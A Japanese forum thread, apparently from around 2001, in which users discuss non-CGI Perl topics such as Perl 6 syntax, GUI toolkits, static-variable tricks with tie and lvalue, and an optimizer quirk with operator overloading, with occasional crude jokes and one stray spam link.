CGIに依存しないPerlの話題一般

・コマンドラインからのPerl活用
・モジュール、オブジェクト指向プログラミング
・Perl6や.NET対応など
・各種GUIツールキット(Perl/Tk, Gtk-Perlなど)
・他言語による拡張(Inline::*, XS, Swigなど)

についてﾏﾀｰﾘと語り合うスレッドです。

#CGI関連の話題は、なるべく専用スレッドで。

-----------------------------
Perl5.7.1(devel)ではハッシュ関数(hv.h内のマクロPERL_HASH)が
変更されているようですね。

/* hv.h 49-62 */

#define PERL_HASH(hash,str,len) \
  STMT_START { \
 register const char *s_PeRlHaSh = str; \
 register I32 i_PeRlHaSh = len; \
 register U32 hash_PeRlHaSh = 0; \
 while (i_PeRlHaSh--) { \
  hash_PeRlHaSh += *s_PeRlHaSh++; \
  hash_PeRlHaSh += (hash_PeRlHaSh << 10); \
  hash_PeRlHaSh ^= (hash_PeRlHaSh >> 6); \
 } \
 hash_PeRlHaSh += (hash_PeRlHaSh << 3); \
 hash_PeRlHaSh ^= (hash_PeRlHaSh >> 11); \
 (hash) = (hash_PeRlHaSh + (hash_PeRlHaSh << 15)); \
 } STMT_END

詳細は↓ここに記載されています。
http://burtleburtle.net/bob/hash/doobs.html
-----------------------------
・・・とか、こういった話題でいいのかな？
えと、とにかく初めのうちは積極的に寝たふりをお願いします。

#「俺はPerlをこんな風に活用している」とか、誰でも取り付きやすい話題があると賑わうのかな。

誤>積極的に寝たふりをお願いします。
正>積極的にネタ振りをお願いします。
森首相じゃあるまいし....

Perlのソースの話題…ですか
うう…レベルが違う（汗

がいしゅつだろうけど、Perl6の話。
http://bulknews.net/lib/doc-ja/exegesis2.ja.html

%hash{value} @array[0] ... なんか気持ち悪いなぁ(笑)

しかも

$hash_ref = %hash;　# %hashのリファレンスを取得
$hash_ref{value}; # %hash{value}と同じ事

ってことも出来るらしい…。
ワケ分からなくなりそう(笑)

いきなり厨房書き込みなんですけど、DOSのバッチでファイル名を
一括変換したり、秀のマクロで文字列変換するような作業を、スクリプト
でやってみようと思っています。

それで、Linuxのシェルスクリプトかperlを学ぼうを思ってるんです
が、貧乏なんで本が一冊しか買えません(^_^;)
bashで初めるシェルスクリプトか、オライリーさんのラマ本、、、、、
ん〜、どっちを買うべきだろう、、、、、、貧乏はいやだ〜

うっ、何か場違いな感じ、、皆さんで話しあって立てたスレなんですね。
消えますー。

>>6
「CGIに依存しないPerlの話題一般」にはあてはまるんでない？
俺としてはPerlのほうをお勧めするよ。普及率で言えば
シェル >> Perl
だけれど、Perlのほうができることが多いし、DOSのバッチ的な用途にも
Perlはすごく向いている。

>>4
あう、ソースを眺めていたらたまたま気づいただけです.....。
気軽に逝きませう。

>>5
確かに訳分からなくなりそうだ.....。
今までの$foo->[$n] が $foo[$n] (or $foo.[$n])で、$foo{bar} が %foo{bar} か.......。
うう.......慣れるまでの辛抱か。
ところでis演算子っていい感じ....（この辺りは意見が分かれるのかな）
サブルーチンの名前付きパラメータも有り難い。

>>6-7
bashシェルプログラミングと、Perlが共に学べる（らしい）
http://www.amazon.co.jp/exec/obidos/ASIN/4886485243/249-4475496-7314707
のような本もありますよ。
（自分は持っていないので、薦めて良いのかちょっと自信がありませんが）

ちなみに、Shellモジュールを利用すれば、シェルスクリプトを書く感覚で
Perlスクリプトを書くことが出来ます。
#でもやっぱりシェルスクリプトも書けた方がいいです。（はい）

シェルで思い出したのですが、
Perl Power Tools:　The Unix Reconstruction Project
http://language.perl.com/ppt/index.html
こんなのもあります。
Perlで書かれたcp,ls,diffコマンドなど色々揃っていますので、学習用にでも。

Perl/Tkの話題も欲しいあげ

8さん、gunzipさん有難うございます。
8さんのおっしゃる様に取り合えずシェルはmanと睨めっこして
perlの本を買おうかな、、と思ったら、、、

>bashシェルプログラミングと、Perlが共に学べる（らしい）
良いッス、欲しいッス、直撃です(^ ^ )、同じ処理をbashとpealで
並べてくれてたりしたらいいなー、明日早速探しに行って見ます。

>Perl Power Tools:　The Unix Reconstruction Project
こっちも凄いですね、厨房的には"perlって凄い"としか言えませんが　(^^;;
しかも、かなりのコマンドがサポートされてるんですね。
頂いて、見てみます。

とても役立つご意見でした、有難う御座いました。
やっぱり聞いてよかったー

256バイトで何ができるか。
http://backno.mag2.com/reader/BackBody?id=200106032250000000015670000

256バイトの掲示板とか、無理か。

ARGVをevalするのは、インチキのような……＞ライフゲーム

>>13
256バイトは少ないよなぁ。
せめて7行は欲しいところ。

ARGVをevalするのは反則。
IO::Socketをuseするのも反則。

warningプラグマって凄くメモリ食いそう(大きなハッシュを保持)
なんだけど、どうなの？

>>14
7行あれば DVD のデコードができるもんね(w

>>16
それしたの十六歳の少年だっけ？

プログラム技術板で、船渡し問題を解いてたよね。

むむ、なんだこりゃ？
今日初めて気がついた…
#!/usr/bin/perl
use strict;
&set_foo;
my $foo;
print $foo;
sub set_foo{
$foo = 'bar';
}
__END__

うーん…変なの（++

>>19
どうあるべきなの？

ん〜、
#!/usr/local/bin/perl
use strict;
$foo = "bar";
my $foo;
print $foo;
__END__
ってやってみるとわかるよ。
やってることは同じように見えるけど実行結果が違う。
これの use strict をはずした奴もやってみると吉。

http://www.iijnet.or.jp/cao/kantei/jp/comment_m.html
特殊文字って何？
\/*$%#&"!とか？（ｍ

正直言って、ろくな話題がでないな。

>特殊文字って何？
>\/*$%#&"!とか？（ｍ

スレお間違えですか？ここは
「CGIに依存しないPerlの話題一般」
です。

>> 15
大丈夫、100Kbyte前後しか増えないから。

>>25
CGIスクリプトとして動作させる場合はかなりやばいんじゃ…。
…と、思ったが、CGI.pmは+700kb近いな…warnings程度は余裕か。

みんなはGUIのperlデバッガは何を使用してるの?
俺はhttp://world.std.com/~aep/ptkdb/を使用してます。

すいませんGUIデバッガが必要なスクリプト書いたこと無いです(；´Д`)

すいませんGUIなんて書いた事ないです。

>>25-26
どうやったらメモリ使用量ってわかるの？

GUIってなに？
Giants Uzeeeeeeeeeee Itteyoshi!!! の略？

コテハン一言スレに誤爆した37です。
なんだかわからないままWin2000でPerl/TKのmake中。。。

>>32
Tcl/Tkは知らんから比べられないが、別に知らなくても良いんじゃないの？

…Perl/Tk使って何かした事は無いけどね(´∀`)

# Perl/Tk本はあるけどGUIプログラムを配布しようと思った事無いからね…
# 自分だけが使うツールにわざわざGUI付けるのもアホらしいし

>> 30
topとかlsこまんどのマニュアルをまんこまんどで見よ。です。

strictもwarningsもスピードなり消費リソースが気になるなら、コードをきれいにした後コメントアウトすれば済むし。おいら
は気にならないけど。
あとCGI.pm とか巨大なやつをWebアプリで使う時もmod_perlで親httpdにロードさせとけば子httpdで共有されるから実質的に
リソース(めもり)くわなくなるっすよね。
# おっとCGIよりなお話(汗)

>>33
さんきゅ！ どこかでPerl/TK本見てくるよ！
ていうかmake失敗したんでこれから原因チェックせんと。

>> 34
いかん lsこまんどじゃ調べらんない(汁)
psコマンドのマニュアルをマンコマンドで見よ。の誤りっす。

>>35
WIn2000ってぇとActivePerl？
ならPPMで一発じゃん？＜Tk.pm

>>37
うぞ！？ PPMに？ あった〜 => http://www.ActiveState.com/packages/
ありがとー。

Perl5.7.1-devel(with -DDEBUGGING,-DDEBUGGING_MSTATS,-D_REENTRANT)
-------------
sbrk()要求サイズ(PERL_DEBUG_MSTATS=1)

#(do nothing)
58392 bytes(6)

#use warnings;
284672 bytes(46)

#use CGI;
1232896 bytes(90)

#↑書き込んだらNetscapeがgnome巻き込んで落ちた...。

>>13
256と言えば....Ascii256倍シリーズのPerl版でないかなあ....。
あれのC版（10年前?）は良かったし。

>>15
↑も参考に。
-DDEBUGGING,-DDEBUGGING_MSTATSスイッチを付けてコンパイルしたPerlで
環境変数PERL_DEBUG_MSTATSを1以上に設定してスクリプトを走らせると、
Perlインタプリタが利用するメモリに関する情報がいろいろ取得できます。

>>27-
殆ど話を聞かないけれど、VisualPerlってどんな感じなのかな？
たしかVisual Studio.NET Betaを持っている人は落とせた筈だけれど......。

自分の場合、GUIベースのデバッガと言えばDDDとかを偶に使う程度で、
大抵の場合 perl -d でケリが付きます。

Tkもいいけれど、Gtk-Perlもよろしく。
#Gtk-Perlのサイトって皆無に等しいのが残念...。

リンク
http://projects.prosa.it/gtkperl/
http://personal.riverusers.com/~swilhelm/perlgtk/index.html
スクリーンショット
http://personal.riverusers.com/~swilhelm/gtkperl-tutorial/calendar.html#CALENDAR-FIGURE
http://personal.riverusers.com/~swilhelm/gtkperl-tutorial/spinbutton.html#SPINNER-FIGURE
http://personal.riverusers.com/~swilhelm/gtkperl-tutorial/tree.html#TREE-FIGURE

>>41
Gtk-Perlって、Windows版はないよねぇ。
Gtkは移植されているんだから期待してるんだけど。

Perl/Tkなら、WindowsでもXでもちゃんと動くんで気持ちいい。
これでMac版があったらなぁ。

>>41
んじゃ、自分でサイト立ててれば一挙解決ではでは？

perl\site\lib 以下って何MBぐらいありますか？

10MBくらい

>>41
そこが残念なところだなあ.....。

ちなみに Gtk-Perl では、ちゃんとset_locale()呼んでおけば
日本語表示/編集共に問題なしです。

>>43
今作ってる所だょ。ヽ( ´ー`)ノ

>>44
34.1MBもあるが........。

>>41 -> >>42
鬱だ。

GTkなんてWindows使いの私には関係ないのさぁ（；；

生のファイルハンドルリファレンスをselectすると挙動がぁゃιぃ…。
select(*STDOUT{IO});
print STDOUT select(), "\n";

>>49
?なにがおかしい？

こんな大事なスレに気づかなかった。鬱だ。

>>18
船渡し問題のURLきぼーん。

正規表現のバックトラックで解いたの?
「正規表現エンジンで論理プログラミング」の例ってどっかにないかな。

>>9
>今までの$foo->[$n] が $foo[$n] (or $foo.[$n])で、$foo{bar} が %foo{bar} か.......。
>うう.......慣れるまでの辛抱か。
Damian Conwayも「最初は変な感じがしたけど、慣れたらこっちの方が
イイ!」だそうです。
http://yetanother.org/damian/talks/Perl6.pdf

>>52
船渡し問題
http://piza.2ch.net/test/read.cgi?bbs=tech&key=990503990

問題ｸﾚｸﾚ
http://piza.2ch.net/test/read.cgi?bbs=tech&key=989687023
この２つだよ。

あー、>>51です。

>>52
見てきた。どういう家族だ。笑い。

http://slashdot.org/developers/01/05/16/0054243.shtml
暴れてますなヽ(´ー｀)ノ

static が欲しいよう。

sub hoge{
　　static my $count = 0;
　

>>56
どんなメリットが？

>>57
グローバル変数みたいのを使いたくないから。

my $static = 0;
sub hoge{
　　if( .. ) $static++;

みたいのを良くやるので…。
何か良い方法あるのかな。（お手軽なやつで）

>>58
#違うかな？

#!/usr/bin/perl

use strict;

{
    # $countにはincr_count(),decr_count(),get_count()経由でのみアクセス可
    my $count = 0;
    sub incr_count{ $count++ }
    sub decr_count{ $count-- }
    sub get_count{ $count }
}

print get_count();
incr_count();
print get_count();
decr_count();
print get_count();

overloadを使えばstatic変数であるかのように振舞う変数を作成できるような気がする。
無理かな？

まずはやってみせることだ。

楽なtieにしてしまった。

package Static;

use 5.6.0;
use strict;
use base 'Exporter';
our @EXPORT_OK = qw/ static /;

sub TIESCALAR{
my $class = ref($_[0]) ? ref(shift) : shift;
my $self = [];
return bless $self, $class;
}
sub FETCH{
my $self = shift;
my $callline = (caller(1))[2];
return $self->[ $callline ];
}
sub STORE{
my $self = shift;
my $value = shift;
my $callline = (caller(1))[2];
$self->[ $callline ] = $value;
}

sub static($) : lvalue{
no strict 'vars';
local *staticvar = \$_[0];
tie $staticvar, __PACKAGE__;
$staticvar;
}
1;
__END__

ある一定の条件の下でstaticに見える変数を宣言可能。

#!/usr/bin/perl
use Static qw/ static /;

static my $i = 0;

foreach (0 .. 10){
print count1(), "\n";
}
foreach (0 .. 10){
print count2(), "\n";
}
sub count1{ return $i++;}
sub count2{ return $i--;}
__END__


但し…ネタにしかならない。

# static.pm
package Static;
use base 'Exporter';
@EXPORT_OK = qw/ static /;

use strict;
sub TIESCALAR{
    my $class = ref($_[0]) || $_[0];
    my $self  = \do{ $_[1] };
    return bless $self, $class;
}
my @values;
sub FETCH{    $values[ ${ $_[0] } ];}
sub STORE{    $values[ ${ $_[0] } ] = $_[1];}
my @vars;
sub static($) : lvalue{
    no strict 'vars';
    local *staticvar = \$_[0];
    my($cline) = (caller(0))[2];
    tie $staticvar, __PACKAGE__, $cline;
    my $dumy;

    $vars[ $cline ]++
        ? $dumy
        : $staticvar;
}
1;
__END__

=head1 SYNOPSIS

    use Static qw/ static /;
    sub countup(){ static my $i = 0; return $i++ }
    print countup, "\n" for(0 .. 10);

=cut

一連の駄レススマソ。

>>62-64
なるほど。出現行数で変数を識別するのかー。
面白いっす。これってオリジナルのアイデア？

オリジナルです。
>>62は思いついてすぐ作ったのでイマイチかな。
>>63は低速である事を覗けば実用化可能かな？
行番号で識別しているので"#line"などで行番号をいじると妙なことになりますが。

lvalueとtieを使うといろいろ遊べて楽しいですね。

>>51
http://dev.perl.org/rfc/22.html
組み込みswitch-case文も導入(たぶん)ですね。
......とにかくC,C++,Javaみたいな"fall-through"がデフォルトでは無いようなので一安心。
# C# ではbreak,goto必須だし。

print文の成功した場合の戻り値1って数値1？文字列"1"？

>>68
Perlのbool値はPL_sv_yes, PL_sv_noで表される。
/* perlvars.h */
PERLVARIC(GYes, char *, "1")
PERLVARIC(GNo, char *, "")

文字列リテラルさね。

>>56

perldoc -q static

Perlの資格試験ってある？

無いんじゃないかなヽ(´ー｀)ノ

>>71-72
と、いうことは。。。
いまPerlの資格試験を新設したら受験料で大儲けかも？
いや、家元制度＋段位制でもいいな。
Perl３級とか、Perl初段とかの免状を発行して大儲け。

>>73
なんで世界規模のものを日本規模の制度にするんだよ（ｗ

つーかネタか。

黒帯きぼーん（藁

>>1にも書いてあるInline.pmがプログラム技術板で話題になってるよ。
http://piza.2ch.net/test/read.cgi?bbs=tech&key=991994996&st=161

あっちの板の人は基本的にマルチリンガルだから、こういうの大好きなんだねえ。
おれとしては・・・面白そうだけど使わない、つーか使うテクがないなあ。

マルチリンガルって.....というかPerl一筋の人間は
殆んどいないと思うが...

みんなどんな言語使ってる？

C,C++,Perlとか。アマチュアよん。

Perlしか知らないPerl厨房でーすヽ（´ー`）ノ

Perlの他には、VC++(MFC)を少々たしなむ程度。STLってなに？

>>81
STLはPerl使いにはうれしい機能(連想配列ﾓﾄﾞｷとか)がいろいろついてるのでぜひ覚えておくことをお勧めする。

自分も趣味だなー
取りあえず使えるのは C,Perl,Java,C# とか。(C++は知らない)
その前はsed,awk(gawk)とかやってたけど、Perl憶えて以来不要になった。

---------
Perl for .NETって、Perlで書かれたコードを一度C#コードに変換してから
cscでコンパイルして実行モジュール、DLLを作るみたいだね。

趣味でやってます。
# 社内用にチョコチョコ作らされるけど

Perl・・・・厨房程度
PHP・・・・同上
VB・・・・同上
Ruby・・・・厨房以下
・
・
・
Mind・・・・挫折(ﾜﾗ
N88-Basic・・・・プロ級(ｳｿ

初めて作ったプログラムは FamilyBasic用ゲームプログラム。

C++ … 厨房
C … 消防
Prolog … 園児

って感じです。

>>54
っていうかこの条件って誰か別の人が作ったゲームのヤツだ…
俺が見たやつはクリアするとアレなイベントが起きるっていうヤツだったけど。

＃アレって何よってのは察してくれ…

…パクリ？

>>73
某所で長らく話題にのぼりながら、一向に実現されないやつだな。
本因坊は決まっているのになあ。

某所？

>>86
え、そんな新しいものだったのか。
土人と宣教師みたいなトラディショナルなやつかと思ってたよ。

プログラミングの教科書にのってるわけじゃないの?

光栄の大航海時代4に出てきたな・・・
提督 + 副官 + 謎の老人 + その友人　の4人バージョン

もしかしてそれのこと？

>>89
｜母がいないと父は娘に手を出す
｜父がいないと母は息子に手を出す
｜執事がいないと犬は家族を食い殺す
こんな問題のってる教科書があるかよ！

>>91
いや、おいらが最初に見たやつは、砂漠を行く話で、
「父」:=「王」
「母」:=「女王」
「息子」:=「皇子」
「娘」:=「皇女」
「執事」:=「猛獣使い」
「犬」:=「猛獣」
「手を出す」:=「殺す」
だった。

王位継承問題がこじれて……ってな設定をすれば、
十分教科書に出せると思うが。

ちょっとsearch spaceとかprologとか
missionaries and cannibalsとかで
サーチしてみたけど出てこなかったなあ。

>>92
中学校の数学サイトで発見！
http://www.edu-c.pref.kumamoto.jp/ws/kcmathws/zibunde/kawa2/kawa2.html
その「アレなイベントが起きる」とかいう問題を
中学教師がパクって無難な設定に変えた可能性も高いが。

>>89
いや、大元のネタはその辺りだと思うんだが。
手を出す食い殺すってのは、半年以上前（多分）に既に使われてるネタだってことだ。

＃つーかすれ違いスマソ

「トラやライオンが船をこぐ」設定→うそくせー
「手を出す食い殺す」設定→あるあるー
と思ってしまう俺はなにかに毒されているでしょうか。

Perl6について語ろう！

日本語の「〜なら○○」を正規表現しようと書き始めたら泥沼だった。

/(だった|で((御座|ござ)(い|居)ま)?した|であ(っ|りまし)た)(な)?ら(ば)?
|であれば|(である)?なら(ば)?/

…氏にそう。おれに日本語を教えてくれ。いやマジで。

>>97
ﾜﾗﾀ

http://www.kabeya.net/linklink/navi.cgi?links=23
無修正です。

http://www.perl.com/
デザインが変わったね。

>>100
use Perl;でも話題になってた。
Perlのメインサイトがオライリーっぽくなりすぎで興ざめだってさ。

そういえばPerl6では文字列連結演算子はどうなるんでしょ。
矢印演算子？まさかね…。

>>102
ああ、それperl6-languageとperl6-internalsで話題になってたなあ。
Simon Cozensが「~」を提案して論争になってた。
どう終結したんだろう。

……(メールアーカイブを検索中)……

うむー、どうにもなってないなー。
Larryが反応するまで決まらなさそうだ。

興味のある人は "The Perl6 Emulator" から続く話をどうぞ。
http://archive.develooper.com/perl6-language%40perl.org/msg07598.html

>>103 最初から素直に "+" にしとけば問題なかったものを…。
"100" + "100" が 200 になるっつうのがそもそもの間違い。

>>103
"~" ですか…。
$str = $str ~ $str; $str ~= $str;
うーん…なにか間違っているような気が（汗

素直に参照/メソッド起動はアロー演算子、文字列結合はドット演算子としておけばいいのに。

>>104
文字列連結と数値的加算という、意味も動作もまったく違うものに
同じ演算子を使うのは混乱の元だと思う。

演算子オーバーロードに関してはLarryが
　数学記号は数学的意味を表わす場合のみにしましょうね
という指針を示している。「+」を使っていいのは複素数とか行列みたいな、
交換法則と結合法則を満たすもののみに限定されるべきという話。

確かに文字列の連結って可換じゃないし、
逆演算を「-」で無理矢理定義してもピンと来ない。

文字列の連結に「+」を使うというのを最初に考えついた人って誰?
その人が素直じゃなかったんだと思う。Smalltalkのころ?
「末尾への連結」に「<<」を使うことを考えついた人もえらい。
常人の発想ではない。狂っている。

ストリームへの出力と配列へのpushを、
「末尾への連結と見れば同じ」と考えてかどうか知らないが、
「<<」という同じ記号っていうのも発想がすごい。
「>>」はきっとその逆演算なのだろうと予想できるが、
popなのかunshiftなのか、はたしてどっち?

Perl6のswitch文(仮名)もこの話と同類の気狂い仕様な気がするな。
これがRubyだと「メソッド===で比較」って言い方になって、
polymorphismというカプセルに入った結果、
同じ気狂い仕様なのに美しく見えるのは不思議だ。

　　　　うぐぅ〜！意味わかんないよぉ〜！
　　　＼＿＿＿＿　　　　　　　　　　＿＿＿＿／
　 　 　 　 　 　 　 ￣￣￣∨￣￣￣
　　 　 　 　 　 　〃┏━━ 、
　　　 　 　 　 　 |　 ノﾉｿﾊ)））
　　　　　　　（＼リﾘ;´Д⊂#ヽ
　　　　　　　(ﾆ⊂[#~~'∞"_ノ
　　　　　　　　　/＿＿∞_|
　　　　　　　　　 し'（＿f）

Perl6、なんかすげえ嫌なものになりそう。
今までRuby信者に汚いと罵られようと、感覚的にとても解りやすい言語だと思ってたが、
アロー廃止、$@%の意味変更は滅茶苦茶な愚行だ。

でももう決定事項なんだろうな。ああ鬱。
マジでRubyに移ろうかしら。

Perl6っていつリリースなんですか？

>>109
予想では再来年のPerl Conference合わせくらいじゃなかったっけ。

>>108
全くもって同感

Ruby最高！
イエイ！

Rubyはねえ、加算と文字列連結の他に、
配列の連結にも「+」を使うからねえ……。
そういえばCでもポインタの加算という意味のまったく
違う仕事を「+」と書いていたなあ。

「Perlは様々な組込関数のデフォルト挙動を、
たくさん覚えないと使えないからイヤ」って意見をよく聞くけど、
「OO言語は一見同じ記号でもクラスによって全然違う動作をするんで、
たくさん覚えないと使えないからイヤ」とはあまり聞かないね。
むしろ「全然違う動作でも意識せず同じ記号で使える」とか利点として
紹介されている。

でもRubyの言語仕様書とか見てると、
OO言語って演算子オーバーロードなしには、
言語仕様も定義できないのかな、と思ってしまう。

JavaはC++の反省からか演算子オーバーロードできないけど、
結果としてなにがしかの利便性は失われているみたいだ。

Perl6になるとARRAYの「+」は連結になったりするのかなあ。
Larryが防波堤になってくれると信じてるんだけど。

OOスレ逝った方がいいな。スレ違いスマソ。

>>108
ま、Perl6でもPerl5のコードが走るはずだし、それに期待するしか。

なんか暗くなったね。

確かにﾏﾝｾｰﾏﾝｾｰと騒ぐ気にはなれない…。
うーん……

気分転換にPerl/Tk2chブラウザでも応援するか。

http://corn.2ch.net/test/read.cgi?bbs=php&key=991966646

ﾏﾀｰﾘ

ｸﾞﾀｰﾘ.

ｹﾞｿｰﾘ

ｿﾞﾇｰﾘ

ActivePerl v5.6.1.628
なにがかわったん？

>>122
知らん。
俺も知りたいYO！

perl6はやくでないかなー

5.7.2ってもう出たっけ?
試してみた人いる?

age

>>125
でてるよー。
http://search.cpan.org/search?dist=perl-5.7.2

僕はあえてdevelに挑戦するつもりないけど...。

Perl5.7.2、コンパイルしてXSデバッグ用ディレクトリに
入れてみたけれど、unicode周りが変更になった他は
大して変わっていないみたいだね。

最近CPAN2の存在を知った・・・
http://cpan2.org/

ちょい質問良いですか。
#!/usr/bin/perl
BEGIN{
use overload '<<' => sub{
my($self, $str) = @_;
print {$self} $str;
return $self;
};
my $stdout = bless \*STDOUT;
*out = sub(){ $stdout };
}
exit;

out << "==========終了済み==========" << "\n";
__END__

このコードなんですが、実行するとexit()しているのも関わらず
"終了済み"と印字されます。
$stdoutがグローバル変数だったり
out()をsub out(){$stdout}で宣言すると何もせず終了します。
これはどういうことなんでしょうか。

環境：
WindowsMe ActivePerl 5.6.0.623

>>129
何故だろう？ちょっと調べてみる。

>>129
ふぅ。オプティマイザの副作用の気がするなあ。

Perlが与えられたスクリプトを実行する際、コンパイルと実行段階の間に
オプティマイズという段階があって、定数値の埋め込み、
余計なシンボルテーブル検索の削除等を行うことになっている。

例えば、
print 4 + 5;
は、始めのOPコードへのコンパイルの段階で
「4(const)と5(const)をスタックにプッシュ、次にスタックから二つ値を取り出し、
それらを加算(add)、その値をprintで標準出力に出力せよ」
というコードが生成されるのわけだけれど、
Perlのオプティマイザは4と5が数値定数であるから、これらを予め計算して
「9をprintで標準出力に出力せよ」
というコードに修正する。（Perlのオプティマイザの働きについては
他にも色々とあるので、詳しく知りたければop.cのpeep()でも眺めてくれ）

------------
で、今回の場合、問題の
out << "==========終了済み==========";
についてだけれど、(ちょいと端折った)
out はBEGINブロックのpadlist内に閉じこめられた$stdoutを常に返す
*プロトタイプが空の*サブルーチンなので、オプティマイザによって
その返す値 $stdout に置き換えられる。
(サブルーチン呼び出しに伴う負荷を押さえるために、プロトタイプが空であり、
かつ定数値を返すものはその値に置き換えられることになっている。
constantプラグマなどがその良い例。)
(但しこれは正確ではない。&をつけて呼び出されたものは置き換えられない事に注意。)

で、次
「$stdout (blessed "main")」<< "==========終了済み==========";
シフト演算子"<<"（Perl内部の"left-shift"コード）の子は
何れも定数であるため、オプティマイザは（上でも見たように）
これを予め実行した結果に置き換えようとし、その結果、オーバーライドされた
メソッド(3-7行目)が呼び出され、「"==========終了済み=========="」が出力される、
というわけ。

これらは全て**実行段階前**に行われるので、exit()やdie()の順序は意味を持たない。

試しに、
*out = sub(){ $stdout };
の()を外したり、後ろのout呼び出しに&プレフィックスをつけると、
表示されなくなることを確かめてみればいい。

#いつもながら、間違っている箇所があれば訂正してくれると嬉しい。

_gunzipたん萌え

>>_gunzip
あなたマジすげえ。

なるほど！
コンパイル時に実行される計算だったわけですか。
確かに-cスイッチの元で実行しても"終了済み"と印字されました。

しかし、"*out = sub(){...}"を"sub out(){...}"に変更すると
そのような置き換えは発生しないのですが、これは何故なんでしょうか。
お手数かけますが、教えてください。


>>133-134
激しく同意っす。

>>135
>しかし、"*out = sub(){...}"を"sub out(){...}"に変更すると
ちょっと確認するけれど、これは
-----------------------------------
#!/usr/bin/perl
BEGIN{
    use overload '<<' => sub{
        my($self, $str) = @_;
        print {$self} $str;
        return $self;
    };
    my $stdout = bless \*STDOUT;
}
sub out(){ $stdout };
exit;
out << "==========終了済み==========" << "\n";
------------------------------------
のようにoutの宣言をBEGINブロックから外に出した場合だよね？

-----------------------------------
#!/usr/bin/perl
BEGIN{
    use overload '<<' => sub{
        my($self, $str) = @_;
        print {$self} $str;
        return $self;
    };
    my $stdout = bless \*STDOUT;
    sub out(){ $stdout };
}
exit;
out << "==========終了済み==========" << "\n";
------------------------------------
ならOKだが....。
サブルーチンがインライン化されて定数値に置き換えられるためには
そのサブルーチンのプロトタイプが空であり、かつ、その返す値が
単なる定数値(4とか"hello"とか)であるか、又は、
**レキシカルスコープを持ち、かつ他から一切参照されない**
(この場合の$stdoutがそう)スカラー値でなくてはならない。

あれ？
ぬぬ、>>137のつもりでしたが確かに>>137ならOKでした。
勘違いだったらしいです。ｽﾐﾏｾｿ。

お、今search.cpan.orgをみるとTie::Staticなるモジュールが。
基本的な考え方は>>64と変わらないものの、
IDに安全な値を使っているのでTie::Staticの方がマトモか…。
しかし見ていて飽きないですね、CPAN。

日本人でCPAN登録者って居るのかな....？
（Jcode.pm以外見たことがない）

perl に付いては凄いがメール欄は凄くない(・∀・)

>>140
CGIメーリングリストの人に何人かいなかった？

SpreadSheet::ParseExcelも日本人

>>140
DBI MLのかわいさん (例のエクセルのやつとか、バーコードのやつ）とか
perl-ooのみやがわさん（macバイナリカッターとか）とか
20人ぐらいはいると思う。

# どうでもいいけど、梅田紀伊国屋コンピュータ書コーナー配置換え。
#もともとおかしかったけど、さらに逝って良しな書店になった。
#場所は便利なのになあ。

日本人いますよ。
といってもこのJcode.pm含めて3人しか知りませんが。
…しかも全部文字コード関係だし（＾＾；
http://search.cpan.org/search?dist=CGI-ConvertParam
http://search.cpan.org/search?dist=ShiftJIS-Regexp
http://search.cpan.org/search?dist=Jcode
ガンバレ日本人！

ところでcpan2とsearch.cpanって何処が違うんでしょ。
付加分散の為？

こんなのもあるぞ。
http://search.cpan.org/search?dist=Roman

>>142 いや、 CGIメーリングリストには入っていないので....。
>>143 あ、ど忘れしてました。川合氏ですね。（バーコードも）
>>144
macバイナリカッターの方は初耳だった....。
梅田紀伊国屋といえば、何時行っても人が多い
&& コンピュータ書コーナーは隅っこで本も少な目という印象があるな...。
京橋紀伊国屋が出来てからは、大抵そこで済ますようになったし、
無ければ新地のジュンク堂に行けばいいということもあって、梅田の方には最近殆ど行かない。

>>145
いろいろ教えてくれてありがとう。
search.cpan2.orgもあるみたい.。（中身は何もないけれど）
http://search.cpan2.org/
やはり負荷削減のためか.....。
http://take23.org/news/2001/01/26/cpan2.xml

>>146 ありがとうございます。探せば色々と有るものですね。

# 自分も何か貢献出来るようなネタがあるかな...と思ったが....
# CPANを探せば大抵は揃っているようですね。

Cの構造体みたいな書き方で
$s = new A();
$s->foo = "hoge";
$s->bar *= 50;
（foo, barはメンバ）
みたいな書き方は出来ますか？
トリッキーなのでもイイです。

>>148
lvalue属性を使えば簡単に実現出来るよ。
詳しくはperldoc perlsubの"lvalue subroutine"セクションや、
attributeプラグマのマニュアルを読んでくれ。

#!/usr/bin/perl -w

package Point;

use strict;
use overload q{""} => sub { sprintf("(%d,%d)", $_[0]->x, $_[0]->y) };

sub new
{
    my $class = shift;
    return bless { x => $_[0], y => $_[1] }, $class;
}

sub x :lvalue method
{
    shift->{ x };
}

sub y :lvalue method
{
    shift->{ y };
}

package main;

our $p = new Point(1, 15);
print "\$p = $p\n";

#X座標を5倍、Y座標に20代入
$p->x *= 5;
$p->y = 20;
print "\$p = $p\n";

http://hp.vector.co.jp/authors/VA017578/software.html
ここのShellExtCtrlってソフト
結構使いやすい
Windowsで.plファイルが.batみたいに使えるようになる

>> 150

ActivePerl付属の pl2bat じゃだめなの？
ドロップすれば @ARGVにファイル名が入るのは一緒だし。

pl2batよりはSOSを奨励したい。
パイプ繋がるから。

>>149
Thanks!

sa

こんな質問、いいのかな・・・。

最近perlを憶えたのですが、自分で色々課題を出して解こうとしています。
しかし記念すべき第一号の課題から躓いてしまっています・・・。

あるディレクトリ内にファイル名に全く統一性のないファイルが複数あるとします。
そのファイルのどれだか分からない一部のファイル群に『HOGEHOGE』という文字
があり、それを『FUGAFUGA』という文字に変更するにはどうすれば良いのでしょう
?HOGEHOGEという文字は一つのファイルに一度しか出てきません。

スクリプトを作ろうとしたのですがうまく行かず、結局ここの方に頼ることに・・・。
また、この作業をperlを使ってコマンドラインから実行する方法も是非。

>>155
どちらかと言うとPerl初心者コーナーの方が適当だと思いますが。

とりあえずヒントだけ。
rename($oldfile => $newfile); # 名前変更
use IO::Dir;
@files = IO::Dir->new($dir)->read; # ディレクトリ$dirにあるファイル名全てを得る

perl -e"for(<*HOGEHOGE*>) {$old=$_;s/HOGEHOGE/FUGAFUGA/;rename($old,$_);}"

カレントディレクトリ（サブディレクトリは除外）限定の場合

>>156
>>157
すみません。訊き方方が悪かったです。
HOGEHOGEはファイル名ではなく、ファイルの中に書いてある内容です。

>>155
まずうまく逝かなかったスクリプトを上げるべきだと思うのだが、
いかがかな？

それが無いようであれば、「教えて君」と見なし、以後放置するよ。

ごめんなさい。
【Perl 】初心者コーナーPart5に移動しました。

誰かASのVisualPerlのβ版使ってる？感想ｷﾎﾞﾝﾇ。

http://aspn.activestate.com/ASPN/Downloads/PerlNET/
Perl.NETはbeta3になっているけれど、試した人いるかな？
（今のところWindows2000,NTでしか動作しないそうなので試せない。）

Perl.NETで、MS Windows上でもPerlで単体実行ファイル（PEじゃないが）や、
